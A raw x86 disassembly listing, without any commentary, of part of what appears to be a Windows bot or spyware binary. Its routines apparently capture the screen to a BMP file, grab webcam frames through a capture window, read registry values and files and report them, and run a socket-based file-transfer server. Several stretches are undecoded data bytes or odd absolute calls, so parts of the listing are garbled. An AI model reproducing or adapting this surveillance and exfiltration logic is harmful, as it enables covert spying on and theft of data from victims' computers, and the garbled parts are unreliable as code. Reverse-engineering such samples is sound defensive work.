pop ecx
retn
sub_41524C endp
; ---------------------------------------------------------------------------
byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_4152E0
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_4361CC
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_4152E0: ; CODE XREF: ___:004152C0j
cmp byte ptr [ebp-98h], 0
jz short loc_415300
lea eax, [ebp-98h]
push eax
call sub_41B779
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415300
mov [ebp-8], eax
loc_415300: ; CODE XREF: ___:004152E7j
; ___:004152FBj
and dword ptr [ebp+8], 0
mov esi, offset dword_4CEB9C
loc_415309: ; CODE XREF: ___:00415361j
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415363
cmp byte ptr [esi], 0
jz short loc_415352
cmp byte ptr [ebp-98h], 0
jz short loc_415338
cmp dword ptr [ebp-4], 0
jnz short loc_415338
lea eax, [ebp-98h]
push eax
push esi
call sub_418086
pop ecx
test eax, eax
pop ecx
jz short loc_415352
loc_415338: ; CODE XREF: ___:0041531Dj
; ___:00415323j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_415352: ; CODE XREF: ___:00415314j
; ___:00415336j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D2B9C
jl short loc_415309
loc_415363: ; CODE XREF: ___:0041530Fj
lea eax, [ebp-31Ch]
push offset dword_4361B0
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_41539D
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_41539D: ; CODE XREF: ___:0041537Bj
lea eax, [ebp-31Ch]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
pop ecx
pop ecx
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
sub eax, [edx]
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CAF60
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4155F0
push 8
push edi
call dword_4CAF7C
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CAF7C
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CAF7C
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_41541E
push 18h
push edi
call dword_4CAF7C
mov ebx, 100h
jmp short loc_415420
; ---------------------------------------------------------------------------
loc_41541E: ; CODE XREF: sub_4153BC+50j
xor ebx, ebx
loc_415420: ; CODE XREF: sub_4153BC+60j
push edi
call dword_4CAFC0
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4155D5
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CAFB8
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4155E0
push eax
push [ebp+var_4]
call dword_4CAE44
cmp eax, esi
jz loc_4155E0
cmp eax, 0FFFFFFFFh
jz loc_4155E0
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CAFBC
test eax, eax
jz loc_4155E0
cmp ebx, esi
jz short loc_4154DD
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CAE98
mov ebx, eax
loc_4154DD: ; CODE XREF: sub_4153BC+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call near ptr 27008BBh
nop
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4155C0
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
nop
call near ptr 26F0000h
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
nop
call near ptr 26F0000h
cmp ebx, esi
jz short loc_4155A2
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
nop
call near ptr 26F0000h
loc_4155A2: ; CODE XREF: sub_4153BC+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
nop
call near ptr 26F0000h
push [ebp+arg_0]
nop
call near ptr 26509C6h
push 1
pop esi
loc_4155C0: ; CODE XREF: sub_4153BC+1A2j
push [ebp+var_1C]
call dword_4CAED0
push [ebp+var_4]
call dword_4CAE30
mov edi, [ebp+var_20]
loc_4155D5: ; CODE XREF: sub_4153BC+70j
push edi
call dword_4CAE30
mov eax, esi
jmp short loc_4155F2
; ---------------------------------------------------------------------------
loc_4155E0: ; CODE XREF: sub_4153BC+C7j
; sub_4153BC+D9j ...
push edi
call dword_4CAE30
push [ebp+var_4]
call dword_4CAE30
loc_4155F0: ; CODE XREF: sub_4153BC+23j
xor eax, eax
loc_4155F2: ; CODE XREF: sub_4153BC+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4153BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D2BA0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CAEC4
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415635
mov eax, esi
jmp loc_4157EB
; ---------------------------------------------------------------------------
loc_415635: ; CODE XREF: sub_4155F7+35j
push edi
call dword_4CAF14
test eax, eax
jz short loc_415652
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CAFD0
jmp short loc_415654
; ---------------------------------------------------------------------------
loc_415652: ; CODE XREF: sub_4155F7+47j
xor eax, eax
loc_415654: ; CODE XREF: sub_4155F7+59j
cmp eax, ebx
jnz short loc_41565F
loc_415658: ; CODE XREF: sub_4155F7+88j
; sub_4155F7+BCj
mov ebx, esi
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_41565F: ; CODE XREF: sub_4155F7+5Fj
push edi
call dword_4CAF14
test eax, eax
jz short loc_41567C
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CAFD0
loc_41567C: ; CODE XREF: sub_4155F7+71j
cmp [ebp+var_20], ebx
jz short loc_415658
push edi
call dword_4CAF14
test eax, eax
mov edi, 42Ch
jz short loc_4156A2
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CAFD0
mov [ebp+arg_4], eax
jmp short loc_4156A5
; ---------------------------------------------------------------------------
loc_4156A2: ; CODE XREF: sub_4155F7+98j
mov [ebp+arg_4], ebx
loc_4156A5: ; CODE XREF: sub_4155F7+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415658
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4156CC
push 1
pop ebx
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_4156CC: ; CODE XREF: sub_4155F7+CBj
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4156E9
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_4156E9: ; CODE XREF: sub_4155F7+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41C310
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415704
mov ecx, 280h
loc_415704: ; CODE XREF: sub_4155F7+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415710
mov eax, 1E0h
loc_415710: ; CODE XREF: sub_4155F7+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CAF14
test eax, eax
mov edi, 42Dh
jz short loc_41575A
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_41575A: ; CODE XREF: sub_4155F7+153j
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_415777
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CAFD0
loc_415777: ; CODE XREF: sub_4155F7+16Ej
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_415796
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CAFD0
loc_415796: ; CODE XREF: sub_4155F7+18Bj
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4157B3
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_4157B3: ; CODE XREF: sub_4155F7+1AAj
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4157E0
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CAFD0
loc_4157E0: ; CODE XREF: sub_4155F7+63j
; sub_4155F7+D0j ...
push [ebp+var_4]
call dword_4CB024
mov eax, ebx
loc_4157EB: ; CODE XREF: sub_4155F7+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4155F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D2BA0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CAEC4
mov edi, eax
cmp edi, ebx
jnz short loc_41582E
mov eax, esi
jmp loc_415A2A
; ---------------------------------------------------------------------------
loc_41582E: ; CODE XREF: sub_4157F0+35j
push edi
call dword_4CAF14
test eax, eax
jz short loc_41584B
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CAFD0
jmp short loc_41584D
; ---------------------------------------------------------------------------
loc_41584B: ; CODE XREF: sub_4157F0+47j
xor eax, eax
loc_41584D: ; CODE XREF: sub_4157F0+59j
cmp eax, ebx
jnz short loc_415858
loc_415851: ; CODE XREF: sub_4157F0+8Bj
; sub_4157F0+BCj
mov ebx, esi
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_415858: ; CODE XREF: sub_4157F0+5Fj
push edi
call dword_4CAF14
test eax, eax
jz short loc_415878
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CAFD0
loc_415878: ; CODE XREF: sub_4157F0+71j
cmp [ebp+var_7C], ebx
jz short loc_415851
push edi
call dword_4CAF14
test eax, eax
jz short loc_41589B
push ebx
push ebx
push 42Ch
push edi
call dword_4CAFD0
mov [ebp+arg_4], eax
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_41589B: ; CODE XREF: sub_4157F0+96j
mov [ebp+arg_4], ebx
loc_41589E: ; CODE XREF: sub_4157F0+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415851
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4158C5
push 1
pop ebx
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_4158C5: ; CODE XREF: sub_4157F0+CBj
push edi
call dword_4CAF14
test eax, eax
jz short loc_4158E2
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4CAFD0
loc_4158E2: ; CODE XREF: sub_4157F0+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41C310
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4158FD
mov ecx, 0A0h
loc_4158FD: ; CODE XREF: sub_4157F0+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415907
push 78h
pop eax
loc_415907: ; CODE XREF: sub_4157F0+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CAF14
test eax, eax
jz short loc_41594C
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CAFD0
loc_41594C: ; CODE XREF: sub_4157F0+14Aj
push edi
call dword_4CAF14
test eax, eax
jz short loc_415969
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CAFD0
loc_415969: ; CODE XREF: sub_4157F0+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CAF14
test eax, eax
jz short loc_4159A7
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CAFD0
loc_4159A7: ; CODE XREF: sub_4157F0+1A3j
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159C2
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CAFD0
loc_4159C2: ; CODE XREF: sub_4157F0+1C0j
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159DB
push ebx
push ebx
push 43Eh
push edi
call dword_4CAFD0
loc_4159DB: ; CODE XREF: sub_4157F0+1DBj
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159F8
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CAFD0
loc_4159F8: ; CODE XREF: sub_4157F0+1F4j
push [ebp+var_4]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push edi
call dword_4CAF14
test eax, eax
jz short loc_415A21
push ebx
push ebx
push 40Bh
push edi
call dword_4CAFD0
loc_415A21: ; CODE XREF: sub_4157F0+63j
; sub_4157F0+D0j ...
push edi
call dword_4CB024
mov eax, ebx
loc_415A2A: ; CODE XREF: sub_4157F0+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4157F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_4361FC, ebx
mov [ebp+var_C], 80h
jz loc_415BD0
push esi
push edi
mov eax, offset off_4361FC
mov esi, offset dword_436208
mov edi, offset dword_437400
loc_415A5F: ; CODE XREF: sub_415A2F+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CAFE4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CAE74
test eax, eax
jnz loc_415BB6
mov eax, [esi]
cmp eax, ebx
jz loc_415B7A
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_4293BC
push eax
call sub_41B886
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41B4C2
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_415BB6
push eax
loc_415AD8: ; CODE XREF: sub_415A2F+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41BB4F
add esp, 0Ch
test eax, eax
jz loc_415B6F
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_415B05
push [ebp+var_8]
jmp short loc_415AD8
; ---------------------------------------------------------------------------
loc_415B05: ; CODE XREF: sub_415A2F+CFj
push 3Dh
push dword ptr [esi+4]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_415B33
lea eax, [ebp+var_70]
push offset asc_4373FC ; "="
push eax
call sub_41C0F4
push offset asc_4373FC ; "="
push ebx
call sub_41C0F4
add esp, 10h
jmp short loc_415B36
; ---------------------------------------------------------------------------
loc_415B33: ; CODE XREF: sub_415A2F+E4j
lea eax, [ebp+var_70]
loc_415B36: ; CODE XREF: sub_415A2F+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 18h
loc_415B6F: ; CODE XREF: sub_415A2F+B9j
push [ebp+var_8]
call sub_41B05B
pop ecx
jmp short loc_415BB6
; ---------------------------------------------------------------------------
loc_415B7A: ; CODE XREF: sub_415A2F+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 28h
loc_415BB6: ; CODE XREF: sub_415A2F+60j
; sub_415A2F+A2j ...
push [ebp+var_4]
call dword_4CAF50
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_415A5F
pop edi
pop esi
loc_415BD0: ; CODE XREF: sub_415A2F+19j
pop ebx
leave
retn
sub_415A2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD3 proc near ; CODE XREF: ___:00416278p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CAFF4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415C4F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CAF74
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CAFB4
cmp eax, esi
jnz short loc_415C34
push [ebp+arg_0]
call dword_4CAFF8
test eax, eax
jz short loc_415C4F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415C34: ; CODE XREF: sub_415BD3+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CAF1C
cmp eax, esi
jnz short loc_415C53
push edi
call dword_4CB00C
loc_415C4F: ; CODE XREF: sub_415BD3+1Bj
; sub_415BD3+58j
mov eax, esi
jmp short loc_415C55
; ---------------------------------------------------------------------------
loc_415C53: ; CODE XREF: sub_415BD3+73j
mov eax, edi
loc_415C55: ; CODE XREF: sub_415BD3+7Ej
pop edi
pop esi
leave
retn
sub_415BD3 endp
; ---------------------------------------------------------------------------
byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo
dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h
dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h
dd 858D5275h, 0FFFFEE4Ch, 43747C68h, 0DBE85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
dd 90022BA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h
dd 858D5975h, 0FFFFEE4Ch, 43744C68h, 77E85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h
dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0CEE89064h, 330224B1h
dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh
dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
dd 76E89064h, 6A0224B1h, 5580E80Ah, 0C085FFFFh, 8DA37559h
dd 0FFEE4C85h, 741868FFh, 0E8500043h, 5AB2h, 59F87D39h
dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch
dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h
dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh
dd 0A1E6E890h
; ---------------------------------------------------------------------------
sub eax, [edx]
loc_415E1A: ; DATA XREF: sub_401ACD+7831o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_415E68
push offset unk_43757C
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415E68: ; CODE XREF: ___:00415E5Cj
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CAF74
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CAFA0
test eax, eax
jz short loc_415EA6
push offset unk_437558
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415EA6: ; CODE XREF: ___:00415E9Aj
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CAF18
push dword ptr [ebp-2Eh]
call dword_4CAEA4
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41AFE0
pop ecx
loc_415ED8: ; CODE XREF: ___:00415F09j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_415EEB
push 5Fh
pop eax
jmp short loc_415EEE
; ---------------------------------------------------------------------------
loc_415EEB: ; CODE XREF: ___:00415EE4j
movsx eax, al
loc_415EEE: ; CODE XREF: ___:00415EE9j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41AFE0
cmp [ebp+8], eax
pop ecx
jbe short loc_415ED8
push ebx
push edi
call dword_4CAF9C
test eax, eax
jz short loc_415F21
push offset unk_43747C
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F21: ; CODE XREF: ___:00415F15j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 27008BBh
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_415F4B
push offset unk_437538
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F4B: ; CODE XREF: ___:00415F3Fj
push esi
push eax
nop
call near ptr 2730CD7h
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AC0F
pop ecx
push eax
call dword_4CAFB4
push eax
call dword_4CAF70
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_437520
push eax
call sub_41B886
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CAF5C
test eax, eax
jg short loc_415FFB
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_437508
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
jmp loc_41611F
; ---------------------------------------------------------------------------
loc_415FFB: ; CODE XREF: ___:00415FD9j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CB008
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_416034
push offset unk_4374E4
loc_416021: ; CODE XREF: ___:00415E63j
; ___:00415EA1j ...
lea eax, [ebp-3FCh]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_416122
; ---------------------------------------------------------------------------
loc_416034: ; CODE XREF: ___:0041601Aj
push edi
call dword_4CB00C
cmp [ebp+8], esi
jz loc_4160E6
mov edi, 400h
loc_416049: ; CODE XREF: ___:004160DDj
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_416056
mov [ebp-4], eax
loc_416056: ; CODE XREF: ___:00416051j
push edi
lea eax, [ebp-0A04h]
